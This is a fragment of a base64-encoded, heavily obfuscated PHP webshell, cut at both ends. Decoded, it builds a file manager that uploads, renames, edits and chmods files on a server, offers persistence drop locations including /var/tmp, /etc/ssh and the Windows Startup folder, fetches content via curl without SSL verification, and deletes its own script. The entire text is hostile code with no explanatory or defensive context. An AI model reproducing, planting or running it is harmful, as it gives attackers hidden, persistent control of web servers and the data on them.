E1N1xceDZlXFx4M2VcIjsgZ290byB3T0YxWTsgZTNiaXE6ICRRU084ZiAuPSBcIlxcNzRcXHg2OVxceDZlXFx4NzBcXDE2NVxceDc0XFx4MjBcXDE2NFxceDc5XFwxNjBcXHg2NVxceDNkXFx4MjJcXDE0MlxcMTY1XFwxNjRcXHg3NFxceDZmXFx4NmVcXDQyXFw0MFxceDc2XFx4NjFcXHg2Y1xceDc1XFx4NjVcXHgzZFxceDIyXFx4ZTZcXHg4OVxceGI5XFwzNTFcXDIwN1xceDhmXFx4ZTRcXHhiOFxcMjEyXFx4ZTRcXDI3NFxcMjQwXFw0MlxcNDBcXHg2ZlxcMTU2XFx4NjNcXHg2Y1xceDY5XFx4NjNcXDE1M1xceDNkXFx4MjJcXDE0N1xceDZmXFw1MFxcNDdcXHg3NVxceDcwXFx4NjZcXDE1MVxcMTU0XFwxNDVcXDE2M1xcNDdcXHgyY1xceDI3XCIgLiAkSnp3cmEgLiBcIlxceDI3XFw1MVxceDNiXFw0MlxcNDBcXHg3M1xcMTY0XFwxNzFcXDE1NFxcMTQ1XFw3NVxceDIyXFx4NzdcXDE1MVxcMTQ0XFwxNjRcXHg2OFxcNzJcXHgzNlxceDM4XFx4NzBcXHg3OFxceDNiXFw0MlxceDNlXFw0MFwiOyBnb3RvIG1uSHM5OyBUcWhHVzoga2VmdUY6IGdvdG8gZ3hpZVA7IGxZVkQ2OiBpZiAoJFJvTnRDKSB7IGdvdG8gU2hqX2I7IH0gZ290byBtSWttOTsgckNETGE6ICRRU084ZiAuPSBcIlxcNzRcXHg2OVxcMTU2XFwxNjBcXDE2NVxceDc0XFw0MFxceDc0XFwxNzFcXHg3MFxcMTQ1XFw3NVxceDIyXFwxNDJcXHg3NVxceDc0XFx4NzRcXHg2ZlxceDZlXFx4MjJcXHgyMFxceDc2XFx4NjFcXDE1NFxceDc1XFwxNDVcXHgzZFxcNDJcXDM0NlxcMjMzXFwyNjRcXDM0NlxceDk2XFwyNjBcXHhlNVxceGE0XFx4YTdcXDExNVxcNDJcXHgyMFxceDczXFx4NzRcXDE3MVxceDZjXFx4NjVcXHgzZFxceDIyXFx4NzdcXDE1MVxceDY0XFx4NzRcXDE1MFxcNzJcXDcwXFw2MFxceDcwXFx4NzhcXHgzYlxcNDJcXHgyMFxceDZmXFwxNTZcXHg2M1xceDZjXFwxNTFcXHg2M1xceDZiXFx4M2RcXDQ3XFx4NzRcXHg3OFxceDc0XFx4NzNcXDUwXFx4MjJcXDM0NlxceDliXFwyNjRcXDM0NlxceDk2XFx4YjBcXHhlNVxceGE0XFx4YTdcXHg0ZFxcNDJcXHgyY1xceDIyXCIgLiAkSnp3cmEgLiBcIlxceDIyXFx4MmNcXDQyXFwxNDdcXDE3MFxceDY0XFx4NjFcXDE1NVxceDYxXFx4MjJcXDUxXFx4M2JcXHgyN1xcNzZcXDQwXCI7IGdvdG8gYjROejM7IGtiWGU2OiAkUVNPOGYgLj0gXCJcXDc0XFx4MmZcXDE2NFxceDYxXFwxNDJcXDE1NFxceDY1XFw3NlwiOyBnb3RvIE5SNzZrOyBUT0FSVDogZm9yZWFjaCAoJFlKbmJyW1wiXFx4NjRcXHg2OVxcMTYyXCJdIGFzICRQZlJ2TCA9PiAkS2VzX3EpIHsgZ290byBsekRhaDsgZko5Ykw6ICRRU084ZiAuPSBcIlxcNzRcXDE2NFxcMTQ0XFw3NlxceDNjXFx4NjFcXHgyMFxceDY4XFwxNjJcXHg2NVxcMTQ2XFw3NVxcNDJcXDE1MlxcMTQxXFx4NzZcXDE0MVxcMTYzXFwxNDNcXHg3MlxcMTUxXFx4NzBcXDE2NFxceDNhXFx4NjRcXDE0NVxceDZjXFwxNjNcXDUwXFx4MjdcIiAuICRLZXNfcSAuIFwiXFx4MjdcXHgyOVxcNzNcXHgyMlxcNzZcXHhlNVxceDg4XFx4YTBcXDM1MVxcMjMxXFwyNDRcXDc0XFx4MmZcXDE0MVxcNzZcXDQwXCI7IGdvdG8gSVZZSUU7IGRzNGZmOiAkUVNPOGYgLj0gXCJcXHgzY1xcMTY0XFwxNjJcXHgzZVwiOyBnb3RvIEpXSkRkOyBJVllJRTogJFFTTzhmIC49IFwiXFw3NFxceDYxXFw0MFxcMTUwXFwxNjJcXDE0NVxcMTQ2XFw3NVxceDIyXFx4NmFcXDE0MVxcMTY2XFx4NjFcXHg3M1xceDYzXFx4NzJcXDE1MVxceDcwXFwxNjRcXHgzYVxceDYxXFwxNDNcXDE2NFxcMTYzXFw1MFxceDI3XCIgLiAkS2VzX3EgLiBcIlxceDI3XFw1NFxceDI3XFx4NzJcXHg2NlxceDI3XFw1NFxceDI3XCIgLiAkS2VzX3EgLiBcIlxcNDdcXDUxXFw3M1xceDIyXFw3NlxcMzQ2XFwyMjRcXDI3MVxcMzQ1XFwyMjBcXHg4ZFxceDNjXFw1N1xceDYxXFx4M2VcXDc0XFx4MmZcXHg3NFxcMTQ0XFx4M2VcIjsgZ290byBPUWxDUTsgSldKRGQ6ICRRU084ZiAuPSBcIlxcNzRcXDE2NFxceDY0XFw3NlxcNzRcXHg2MVxceDIwXFwxNTBcXHg3MlxceDY1XFx4NjZcXHgzZFxcNDJcXDE1MlxcMTQxXFwxNjZcXDE0MVxceDczXFwxNDNcXDE2MlxcMTUxXFwxNjBcXDE2NFxceDNhXFx4NjNcXHg2NFxcNTBcXHgyN1wiIC4gJEp6d3JhIC4gJEtlc19xIC4gXCJcXDQ3XFx4MjlcXDczXFw0MlxceDNlXFw3NFxceDYyXFw3NlwiIC4gc3RydHIoJEtlc19xLCBhcnJheShcIlxcNDVcXHgzMlxceDM3XCIgPT4gXCJcXDQ3XCIsIFwiXFw0NVxceDMyXFw2MlwiID0+IFwiXFw0MlwiKSkgLiBcIlxcNzRcXHgyZlxcMTQyXFx4M2VcXHgzY1xcNTdcXHg2MVxceDNlXFw3NFxceDJmXFx4NzRcXDE0NFxcNzZcIjsgZ290byBmSjliTDsgSjlJRzI6ICRRU084ZiAuPSBcIlxcNzRcXDE2NFxcMTQ0XFw3NlwiIC4gJHVNbjFpIC4gXCJcXDc0XFx4MmZcXDE2NFxcMTQ0XFw3NlwiOyBnb3RvIHRhVWhjOyBpYkFtSzogJENVM19vKys7IGdvdG8gRWdQcUI7IE9RbENROiAkUVNPOGYgLj0gXCJcXDc0XFwxNjRcXDE0NFxcNzZcXDc0XFx4NjFcXDQwXFx4NjhcXDE2MlxceDY1XFwxNDZcXHgzZFxceDIyXFx4NmFcXDE0MVxcMTY2XFx4NjFcXHg3M1xceDYzXFx4NzJcXDE1MVxcMTYwXFwxNjRcXHgzYVxceDYxXFx4NjNcXDE2NFxcMTYzXFw1MFxceDI3XCIgLiAkSVUxM0ggLiBcIlxceDI3XFx4MmNcXDQ3XFx4NzBcXHg2NFxcNDdcXDU0XFw0N1wiIC4gJEtlc19xIC4gXCJcXHgyN1xceDI5XFw3M1xceDIyXFx4M2VcIiAuICRJVTEzSCAuIFwiXFx4M2NcXHgyZlxceDYxXFw3NlxcNzRcXDU3XFx4NzRcXDE0NFxcNzZcIjsgZ290byBKOUlHMjsgbHpEYWg6ICRJVTEzSCA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRQZlJ2TCkpLCAtNCk7IGdvdG8gWUJKYVM7IHdOSEM4OiAkUVNPOGYgLj0gXCJcXDc0XFx4MmZcXHg3NFxceDcyXFw3NlwiOyBnb3RvIGliQW1LOyBkWGprMDogJFFTTzhmIC49IFwiXFx4M2NcXHg3NFxceDY0XFw3NlxcNTVcXDc0XFw1N1xcMTY0XFwxNDRcXHgzZVwiOyBnb3RvIHdOSEM4OyB0YVVoYzogJFFTTzhmIC49IFwiXFw3NFxceDc0XFx4NjRcXHgzZVwiIC4gJHlJQ0RaIC4gXCJcXHgzY1xcNTdcXHg3NFxceDY0XFw3NlwiOyBnb3RvIGRYamswOyBZQkphUzogJHVNbjFpID0gZGF0ZShcIlxcMTMxXFx4MmRcXHg2ZFxcNTVcXHg2NFxcNDBcXDExMFxcNzJcXDE1MVxceDNhXFx4NzNcIiwgZmlsZWN0aW1lKCRQZlJ2TCkpOyBnb3RvIFlhRkR6OyBZYUZEejogJHlJQ0RaID0gZGF0ZShcIlxcMTMxXFw1NVxceDZkXFx4MmRcXDE0NFxcNDBcXHg0OFxceDNhXFx4NjlcXDcyXFwxNjNcIiwgZmlsZW10aW1lKCRQZlJ2TCkpOyBnb3RvIGRzNGZmOyBFZ1BxQjogVHhpdEU6IGdvdG8gUVZOeXM7IFFWTnlzOiB9IGdvdG8gY05RQ2c7IEVRdXd2OiAkSnp3cmEgPSBzdHJ0cigkSnp3cmEsIGFycmF5KFwiXFx4MjdcIiA9PiBcIlxcNDVcXDYyXFx4MzdcIiwgXCJcXHgyMlwiID0+IFwiXFw0NVxceDMyXFw2MlwiKSk7IGdvdG8gRmlYMWQ7IG5VS2diOiBmSG8xQzogZ290byBVNXFpMTsgSVkzZjc6ICRRU084ZiAuPSBBeHRUcSgpOyBnb3RvIG90Yk9YOyB5bkh2RDogaWYgKCFpc3NldCgkWUpuYnJbXCJcXHg2NlxcMTUxXFx4NmNcXDE0NVwiXSkpIHsgZ290byBmSG8xQzsgfSBnb3RvIGJpWk9WOyBBajRCaTogJFFTTzhmIC49IFwiXFx4M2NcXDE1N1xceDcwXFx4NzRcXDE1MVxcMTU3XFwxNTZcXHgyMFxceDc2XFx4NjFcXDE1NFxcMTY1XFwxNDVcXDc1XFw0MlxcMTAzXFx4M2FcXHgyZlxceDQ0XFx4NmZcXHg2M1xceDc1XFx4NmRcXDE0NVxcMTU2XFx4NzRcXHg3M1xceDIwXFx4NjFcXDE1NlxceDY0XFx4MjBcXHg1M1xceDY1XFwxNjRcXHg3NFxceDY5XFwxNTZcXDE0N1xceDczXFx4MmZcXDEwMVxceDZjXFx4NmNcXDQwXFx4NTVcXHg3M1xcMTQ1XFwxNjJcXDE2M1xcNTdcXDEyM1xceDc0XFx4NjFcXHg3MlxcMTY0XFw0MFxceDRkXFwxNDVcXHg2ZVxcMTY1XFw1N1xceDUwXFx4NzJcXDE1N1xcMTQ3XFx4NzJcXDE0MVxceDZkXFx4NzNcXHgyZlxcMTIzXFx4NzRcXDE0MVxceDcyXFwxNjRcXHg3NVxceDcwXFx4MmZcXDQyXFx4M2VcXHg1N1xcMTUxXFx4NmVcXHgyZFxcMTIzXFx4NzRcXDE0MVxcMTYyXFwxNjRcXDE2NVxceDcwXFw3NFxcNTdcXDE1N1xcMTYwXFwxNjRcXHg2OVxcMTU3XFwxNTZcXDc2XCI7IGdvdG8gZTZ2cVM7IFNpd3p3OiAkUVk1YW8gPSAkX1BPU1RbXCJcXHg3MlxceDY1XFx4NmVcXDE0MVxceDZkXFx4NjVcIl0gPT0gJycgPyAkX0ZJTEVTW1wiXFx4NzVcXDE2MFxcMTQ2XFx4NjlcXHg2Y1xcMTQ1XCJdW1wiXFwxNTZcXDE0MVxceDZkXFx4NjVcIl0gOiAkX1BPU1RbXCJcXDE2MlxceDY1XFwxNTZcXHg2MVxceDZkXFwxNDVcIl07IGdvdG8gVmc4aWI7IGI4S09qOiByZXR1cm4gJFFTTzhmOyBnb3RvIEdrNXFVOyBzbWVZaTogJFFTTzhmIC49IFwiXFwzNDRcXHhiOFxcMjEyXFwzNDRcXHhiY1xceGEwXFx4ZTlcXDIwN1xcMjE1XFwzNDVcXHg5MVxceGJkXFwzNDVcXDIyMFxcMjE1XFx4ZTRcXDI3MFxceGJhXFw0MFxcNzRcXHg2OVxcMTU2XFx4NzBcXDE2NVxceDc0XFw0MFxceDc0XFx4NzlcXDE2MFxceDY1XFw3NVxceDIyXFx4NzRcXHg2NVxceDc4XFx4NzRcXDQyXFx4MjBcXHg2ZVxcMTQxXFwxNTVcXDE0NVxceDNkXFw0MlxcMTYyXFwxNDVcXHg2ZVxceDYxXFx4NmRcXHg2NVxceDIyXFw0MFxceDczXFwxNjRcXDE3MVxceDZjXFx4NjVcXHgzZFxcNDJcXHg3N1xcMTUxXFwxNDRcXDE2NFxceDY4XFw3MlxcNjFcXDYyXFx4MzhcXHg3MFxcMTcwXFx4M2JcXHgyMlxceDNlXCI7IGdvdG8gYUVhMFA7IERnc3pzOiBpdVB2dzogZ290byBLczJCVjsgTEFfWVE6ICRRU084ZiAuPSBcIlxceDNjXFx4NmZcXDE2MFxceDc0XFx4NjlcXHg2ZlxcMTU2XFx4MjBcXDE2NlxceDYxXFwxNTRcXHg3NVxcMTQ1XFw3NVxceDIyXFx4MmZcXDE0NVxcMTY0XFx4NjNcXHgyZlxcMTYzXFwxNjNcXDE1MFxcNTdcXDQyXFx4M2VcXDExNFxceDY5XFx4NmVcXHg3NVxceDc4XFw1NVxcMTYzXFx4NzNcXHg2OFxceDNjXFx4MmZcXHg2ZlxcMTYwXFwxNjRcXDE1MVxcMTU3XFx4NmVcXDc2XCI7IGdvdG8ga29Xd2M7IHpnRFVGOiBhc29ydCgkWUpuYnJbXCJcXHg2NlxceDY5XFwxNTRcXDE0NVwiXSk7IGdvdG8gaVRQeHc7IFlxTnFUOiAkQ1UzX28gPSAkRE9kQlogPSAwOyBnb3RvIHVSODdSOyBWUHd3eDogdW5zZXQoJFlKbmJyKTsgZ290byBrYlhlNjsgajlPanU6IFNoal9iOiBnb3RvIFpfWHFSOyBYbkUzTTogJFFTTzhmIC49IFwiXFw3NFxceDY5XFwxNTZcXHg3MFxcMTY1XFx4NzRcXDQwXFwxNjRcXDE3MVxceDcwXFx4NjVcXDc1XFw0MlxcMTUwXFwxNTFcXDE0NFxceDY0XFx4NjVcXDE1NlxceDIyXFx4MjBcXDE1NlxceDYxXFwxNTVcXDE0NVxcNzVcXDQyXFwxNDFcXHg2M1xcMTY0XFw0MlxcNDBcXDE1MVxcMTQ0XFw3NVxcNDJcXDE0MVxcMTQzXFwxNjRcXDQyXFw0MFxceDc2XFx4NjFcXDE1NFxceDc1XFwxNDVcXHgzZFxcNDJcXDQyXFw3NlwiOyBnb3RvIGlBb1BSOyBsOVFwMzogJFFTTzhmIC49IChpc193cml0YWJsZSgkSnp3cmEpID8gXCJcXDc0XFx4NjhcXDYyXFx4M2VcXDM1MFxceGI3XFwyNTdcXDM0NVxceGJlXFwyMDRcXDc0XFx4MmZcXHg2OFxceDMyXFx4M2VcIiA6IFwiXFx4M2NcXDE1MFxceDMxXFw3NlxceGU4XFwyNjdcXDI1N1xceGU1XFwyNzZcXHg4NFxceDNjXFx4MmZcXHg2OFxcNjFcXHgzZVwiKSAuIFwiXFx4MjBcXHgzY1xcMTUxXFwxNTZcXHg3MFxceDc1XFx4NzRcXHgyMFxcMTY0XFwxNzFcXDE2MFxceDY1XFx4M2RcXHgyMlxcMTY0XFx4NjVcXHg3OFxceDc0XFx4MjJcXDQwXFx4NmVcXHg2MVxcMTU1XFwxNDVcXDc1XFw0MlxcMTQ0XFx4NjlcXHg3MlxcNDJcXHgyMFxceDY5XFwxNDRcXDc1XFx4MjJcXHg2NFxcMTUxXFx4NzJcXDQyXFw0MFxceDczXFx4NzRcXDE3MVxceDZjXFx4NjVcXHgzZFxcNDJcXDE2N1xceDY5XFwxNDRcXDE2NFxceDY4XFx4M2FcXHgzNVxceDMwXFx4MzhcXDE2MFxceDc4XFx4M2JcXHgyMlxcNDBcXHg3NlxcMTQxXFwxNTRcXDE2NVxceDY1XFw3NVxceDIyXCIgLiBwQk0wNygkSnp3cmEgLiBcIlxcNTdcIikgLiBcIlxceDIyXFw3NlxceDIwXCI7IGdvdG8gandHWm07IG90Yk9YOiAkUVNPOGYgLj0gXCJcXDc0XFwxNTFcXDE1NlxcMTYwXFwxNjVcXHg3NFxceDIwXFx4NzRcXDE3MVxceDcwXFwxNDVcXHgzZFxceDIyXFwxNTBcXDE1MVxcMTQ0XFx4NjRcXHg2NVxcMTU2XFw0MlxcNDBcXHg2ZVxceDYxXFwxNTVcXDE0NVxcNzVcXDQyXFx4NjRcXDE1MVxcMTYyXFx4MjJcXHgyMFxceDY5XFx4NjRcXDc1XFx4MjJcXDE0NFxceDY5XFwxNjJcXDQyXFx4MjBcXDE2NlxceDYxXFx4NmNcXHg3NVxcMTQ1XFw3NVxceDIyXCIgLiAkSnp3cmEgLiBcIlxcNDJcXHgzZVwiOyBnb3RvIFhuRTNNOyBqM2RvMTogJFFTTzhmIC49IFwiXFw3NFxceDZmXFwxNjBcXHg3NFxceDY5XFx4NmZcXHg2ZVxcNDBcXDE2NlxcMTQxXFx4NmNcXDE2NVxceDY1XFw3NVxceDIyXFw1N1xceDc2XFx4NjFcXHg3MlxceDJmXFwxNjRcXHg2ZFxcMTYwXFw1N1xceDIyXFx4M2VcXDExNFxcMTUxXFx4NmVcXDE2NVxcMTcwXFx4MmRcXDE2NlxceDYxXFwxNjJcXHgzY1xcNTdcXHg2ZlxcMTYwXFx4NzRcXDE1MVxceDZmXFx4NmVcXHgzZVwiOyBnb3RvIExBX1lROyB2YjZMRzogaWYgKFZabzdFKCR4M0NRMCkpIHsgZ290byBkR1dtZjsgfSBnb3RvIGlmSHllOyBiNE56MzogJFFTTzhmIC49IFwiXFx4M2NcXHg2OVxceDZlXFx4NzBcXHg3NVxcMTY0XFx4MjBcXDE2NFxcMTcxXFx4NzBcXDE0NVxcNzVcXDQyXFwxNDJcXHg3NVxcMTY0XFwxNjRcXHg2ZlxcMTU2XFx4MjJcXDQwXFwxNjZcXDE0MVxcMTU0XFx4NzVcXHg2NVxcNzVcXDQyXFwzNDZcXDIxMVxcMjcxXFx4ZTlcXHg4N1xcMjE3XFx4ZTVcXDI0NFxceGE3XFx4NGRcXDQyXFx4MjBcXDE2M1xceDc0XFx4NzlcXDE1NFxceDY1XFw3NVxceDIyXFx4NzdcXHg2OVxceDY0XFwxNjRcXDE1MFxceDNhXFx4MzhcXHgzMFxceDcwXFwxNzBcXDczXFx4MjJcXHgyMFxcMTU3XFx4NmVcXDE0M1xceDZjXFx4NjlcXDE0M1xceDZiXFw3NVxcNDdcXDE2MFxceDZjXFx4NzRcXHg2NVxcMTcwXFwxNjRcXDE2M1xceDI4XFx4MjJcXHhlNlxceDg5XFwyNzFcXHhlOVxcMjA3XFx4OGZcXHhlNVxceGE0XFwyNDdcXHg0ZFxceDIyXFx4MmNcXHgyMlwiIC4gJEp6d3JhIC4gXCJcXHgyMlxceDJjXFw0MlxceDcwXFwxNTRcXHg2NFxceDYxXFx4NmRcXHg2MVxcNDJcXHgyOVxceDNiXFw0N1xceDNlXFw0MFwiOyBnb3RvIE1EOVRlOyBtbkhzOTogJFFTTzhmIC49IFwiXFw3NFxceDY2XFwxNTdcXDE2MlxcMTU1XFw0MFxcMTU2XFwxNDFcXHg2ZFxcMTQ1XFx4M2RcXDQyXFwxNjVcXHg3MFxcMTQ2XFx4NzJcXDE1NVxceDIyXFx4MjBcXDE1MVxcMTQ0XFw3NVxcNDJcXHg3NVxceDcwXFx4NjZcXHg3MlxceDZkXFw0MlxcNDBcXHg2ZFxceDY1XFwxNjRcXHg2OFxcMTU3XFwxNDRcXDc1XFx4MjJcXHg1MFxcMTE3XFx4NTNcXDEyNFxcNDJcXDQwXFx4NjVcXHg2ZVxcMTQzXFx4NzRcXDE3MVxceDcwXFx4NjVcXHgzZFxcNDJcXDE1NVxcMTY1XFx4NmNcXDE2NFxcMTUxXFx4NzBcXHg2MVxcMTYyXFwxNjRcXDU3XFx4NjZcXHg2ZlxceDcyXFx4NmRcXDU1XFwxNDRcXHg2MVxceDc0XFx4NjFcXDQyXFw3NlwiOyBnb3RvIFNpUkpNOyBwdUtWUTogJFVnTHpfID0gJyc7IGdvdG8gbllVYUU7IE5vZUtzOiAkUVNPOGYgLj0gXCJcXHgzY1xceDY5XFwxNTZcXHg3MFxcMTY1XFwxNjRcXDQwXFwxNjRcXHg3OVxceDcwXFx4NjVcXDc1XFx4MjJcXDE0MlxceDc1XFx4NzRcXHg3NFxcMTU3XFwxNTZcXDQyXFx4MjBcXHg3NlxcMTQxXFwxNTRcXHg3NVxcMTQ1XFw3NVxcNDJcXDM0NVxcMjEwXFx4OWJcXHhlNVxceGJiXFx4YmFcXDM0N1xceDliXFx4YWVcXDM0NVxcMjc1XFx4OTVcXHgyMlxcNDBcXDE1N1xceDZlXFwxNDNcXHg2Y1xcMTUxXFx4NjNcXDE1M1xcNzVcXHgyMlxceDc0XFx4NzhcXHg3NFxcMTYzXFw1MFxceDI3XFwzNDdcXHg5YlxcMjU2XFwzNDVcXDI3NVxceDk1XFwzNDVcXHg5MFxcMjE1XFw0N1xceDJjXFx4MjdcXDE1NlxceDY1XFx4NzdcXHg2NFxceDY5XFwxNjJcXDQ3XFw1NFxcNDdcXDE0NVxcNDdcXHgyOVxcNzNcXDQyXFw0MFxceDczXFwxNjRcXHg3OVxcMTU0XFx4NjVcXDc1XFx4MjJcXHg3N1xcMTUxXFx4NjRcXDE2NFxceDY4XFx4M2FcXDY2XFw3MFxceDcwXFx4NzhcXDczXFx4MjJcXDc2XFw0MFwiOyBnb3RvIHRzSUgxOyBSdUNyMTogJFFTTzhmIC49IFwiXFw3NFxceDY5XFwxNTZcXHg3MFxcMTY1XFx4NzRcXDQwXFx4NzRcXDE3MVxceDcwXFwxNDVcXDc1XFx4MjJcXHg2MlxcMTY1XFwxNjRcXDE2NFxceDZmXFx4NmVcXHgyMlxcNDBcXHg2ZlxceDZlXFwxNDNcXDE1NFxceDY5XFwxNDNcXHg2YlxcNzVcXDQyXFx4NjNcXHg2NFxceDI4XFw0N1wiIC4gRk8zOW4gLiBcIlxcNDdcXDUxXFx4M2JcXHgyMlxcNDBcXHg3M1xceDc0XFx4NzlcXHg2Y1xceDY1XFw3NVxcNDJcXHg3N1xcMTUxXFx4NjRcXHg3NFxcMTUwXFx4M2FcXDY2XFw3MFxceDcwXFx4NzhcXDczXFx4MjJcXHgyMFxcMTY2XFx4NjFcXDE1NFxceDc1XFwxNDVcXDc1XFx4MjJcXDM0NlxcMjQwXFwyNzFcXDM0N1xcMjMzXFx4YWVcXHhlNVxceGJkXFx4OTVcXDQyXFx4M2VcXHgyMFwiOyBnb3RvIE02ZDZxOyB1MHVqMTogaWYgKCRfRklMRVNbXCJcXHg3NVxcMTYwXFx4NjZcXDE1MVxcMTU0XFwxNDVcIl1bXCJcXDE1NlxcMTQxXFx4NmRcXDE0NVwiXSA9PSAnJykgeyBnb3RvIGhaUzllOyB9IGdvdG8gU2l3enc7IFFkckx2OiBZaEpNRjogZ290byBGME9leDsgek1teTM6ICRVZ0x6XyA9IFwiXFw3NFxcMTUwXFw2MVxcNzZcXHhlOFxcMjU3XFx4YjdcXHhlOVxceDgwXFx4ODlcXDM0NlxcMjEzXFwyNTFcXHhlNlxcMjI2XFx4ODdcXHhlNFxcMjczXFwyNjZcXDc0XFw1N1xcMTUwXFw2MVxceDNlXCI7IGdvdG8gUVBIS3I7IHV4WTZKOiAkeUlDRFogPSAnJzsgZ290byBZcU5xVDsgandHWm06ICRRU084ZiAuPSBcIlxceDNjXFwxNTFcXDE1NlxcMTYwXFwxNjVcXDE2NFxceDIwXFx4NzRcXDE3MVxceDcwXFx4NjVcXHgzZFxceDIyXFwxNDJcXHg3NVxcMTY0XFx4NzRcXDE1N1xceDZlXFw0MlxcNDBcXDE1N1xcMTU2XFx4NjNcXDE1NFxceDY5XFx4NjNcXHg2YlxcNzVcXDQyXFx4MjRcXHgyOFxcNDdcXHg2NlxcMTYyXFx4NmRcXDQ3XFw1MVxcNTZcXDE2M1xcMTY1XFwxNDJcXHg2ZFxceDY5XFx4NzRcXHgyOFxceDI5XFx4M2JcXDQyXFx4MjBcXDE2M1xcMTY0XFx4NzlcXHg2Y1xcMTQ1XFx4M2RcXHgyMlxceDc3XFwxNTFcXDE0NFxceDc0XFx4NjhcXDcyXFw2NVxcNjBcXHg3MFxcMTcwXFx4M2JcXHgyMlxcNDBcXHg3NlxcMTQxXFx4NmNcXHg3NVxcMTQ1XFw3NVxceDIyXFx4ZThcXDI3NVxcMjU0XFwzNDVcXDIxMFxceGIwXFw0MlxceDNlXFw0MFwiOyBnb3RvIFJ1Q3IxOyBMVENBMjogJFFTTzhmIC49IFwiXFx4M2NcXDE1MVxcMTU2XFx4NzBcXDE2NVxcMTY0XFw0MFxceDc0XFx4NzlcXDE2MFxcMTQ1XFw3NVxcNDJcXDE0MlxceDc1XFwxNjRcXHg3NFxceDZmXFwxNTZcXDQyXFx4MjBcXHg3NlxcMTQxXFwxNTRcXHg3NVxceDY1XFx4M2RcXHgyMlxcMzQ0XFx4YjhcXDIwMFxceGU5XFwyMjRcXDI1NlxceGU1XFwyNDRcXHhhN1xcMTE1XFx4MjJcXHgyMFxceDczXFwxNjRcXHg3OVxceDZjXFx4NjVcXHgzZFxcNDJcXDE2N1xceDY5XFx4NjRcXHg3NFxceDY4XFx4M2FcXHgzOFxceDMwXFx4NzBcXDE3MFxceDNiXFx4MjJcXHgyMFxceDZmXFwxNTZcXHg2M1xcMTU0XFx4NjlcXHg2M1xceDZiXFx4M2RcXHgyN1xceDc0XFx4NzhcXDE2NFxcMTYzXFw1MFxcNDJcXHhlNFxcMjcwXFx4ODBcXDM1MVxceDk0XFwyNTZcXDM0NVxcMjQ0XFx4YTdcXDExNVxceDIyXFw1NFxcNDJcIiAuICRKendyYSAuIFwiXFw0MlxcNTRcXDQyXFwxNDRcXDE0MVxceDZkXFwxNDFcXHgyMlxceDI5XFx4M2JcXDQ3XFx4M2VcXHgyMFwiOyBnb3RvIHJDRExhOyB4elV6dTogJEp6d3JhID0gJHRoaXMtPmRkZ3VqOyBnb3RvIHB1S1ZROyBGME9leDogaWYgKCFpc3NldCgkX0ZJTEVTW1wiXFx4NzVcXHg3MFxcMTQ2XFx4NjlcXHg2Y1xceDY1XCJdKSkgeyBnb3RvIENEMmZNOyB9IGdvdG8gdTB1ajE7IEdrNXFVOiB9IH0gZ290byBZNWpUVDsgUUtaRlE6ICRDMzlWSCA9ICRfU0VSVkVSW1wiXFx4NTNcXHg0M1xceDUyXFx4NDlcXHg1MFxcMTI0XFwxMzdcXHg0NlxceDQ5XFwxMTRcXHg0NVxceDRlXFx4NDFcXDExNVxcMTA1XCJdID8gUEJtMDcoJF9TRVJWRVJbXCJcXHg1M1xceDQzXFwxMjJcXDExMVxcMTIwXFx4NTRcXHg1ZlxcMTA2XFx4NDlcXHg0Y1xcMTA1XFx4NGVcXHg0MVxcMTE1XFwxMDVcIl0pIDogcEJtMDcoX19GSUxFX18pOyBnb3RvIHNUNzBGOyBpUG8zNjogQGNobW9kKCRkUnFOWiwgJF9HRVRbXCJcXHg2YlxcMTYxXFwxNTFcXHg3M1xceDY4XFx4NjdcXDE1NFxcNjFcXDcxXFw2NFxcMTU2XFwxNjdcXDE2MVxcNjdcIl0pOyBnb3RvIGVKZk1NOyBETGhmVDogZnVuY3Rpb24gaWRZZnIoJElNRzA3KSB7IGdvdG8gcXM0TnE7IHFzNE5xOiBpZiAoISgkSU1HMDcgPCAxMDI0KSkgeyBnb3RvIHZ4bWhDOyB9IGdvdG8gR0pDQzI7IFBxRkpQOiByZXR1cm4gc3ByaW50ZihcIlxcNDVcXHgyZVxcNjJcXHg2NlxceDIwXCIgLiAkWUpuYnJbJGJOVGF4XSwgJElNRzA3IFwvIHBvdygxMDI0LCBmbG9vcigkYk5UYXgpKSk7IGdvdG8gVUlHbTk7IExoajNoOiAkWUpuYnIgPSBhcnJheShcIlxceDQyXCIsIFwiXFx4NGJcIiwgXCJcXDExNVwiLCBcIlxcMTA3XCIsIFwiXFx4NTRcIik7IGdvdG8gVjJTUjY7IEdKQ0MyOiByZXR1cm4gJElNRzA3IC4gXCJcXDQwXFwxMDJcIjsgZ290byBUTVI2QzsgVjJTUjY6ICRiTlRheCA9IGZsb29yKGxvZygkSU1HMDcpIFwvIGxvZygxMDI0KSk7IGdvdG8gUHFGSlA7IFRNUjZDOiB2eG1oQzogZ290byBMaGozaDsgVUlHbTk6IH0gZ290byBqOHJEajsgYkR6Ulc6IGZ1bmN0aW9uIEZpVlJnKCR0X25ZNSwgJGZxcUV1KSB7IGdvdG8galZtRFo7IGpWbURaOiAkaVc4ZjQgPSBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRfblk1LCAkZnFxRXUpID8gdHJ1ZSA6IGZhbHNlOyBnb3RvIHlxRjUzOyBveWYwaDogcmV0dXJuICRpVzhmNDsgZ290byBXVHh5ODsgeXFGNTM6IGlmICgkaVc4ZjQpIHsgZ290byBmcVV5TDsgfSBnb3RvIGxjV3VfOyBsY1d1XzogJGlXOGY0ID0gY29weSgkdF9uWTUsICRmcXFFdSkgPyB0cnVlIDogZmFsc2U7IGdvdG8gYU1CUjg7IGFNQlI4OiBmcVV5TDogZ290byBveWYwaDsgV1R4eTg6IH0gZ290byBWZThrRDsgbmozYWg6IEB1bmxpbmsoJEMzOVZIKTsgZ290byBaM1MySjsgdFk4bHU6ICRpcGR0OSA9IDA7IGdvdG8gbFByNkQ7IHVjSXRVOiBhcnJheV9wb3AoJFBmUnZMKTsgZ290byBtUU5HbTsgWjNTMko6IEh0TERxOiBnb3RvIGdiWVVWOyBiMmNqNzogZnVuY3Rpb24gY0lWZ2goJE4xRzJvLCAkUTl6UkcgPSAzMCwgJGtSS1o3ID0gMSkgeyBnb3RvIEpiVlRoOyBydVJHZjogY3VybF9zZXRvcHQoJGM5WDd0LCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBmYWxzZSk7IGdvdG8gRnROVGU7IFI3NF9IOiBjdXJsX3NldG9wdCgkYzlYN3QsIENVUkxPUFRfVElNRU9VVCwgJFE5elJHKTsgZ290byBtb0w1MjsgT2YyeXg6IHJldHVybiAkclZxMDI7IGdvdG8gaXExXzc7IHpDMENrOiA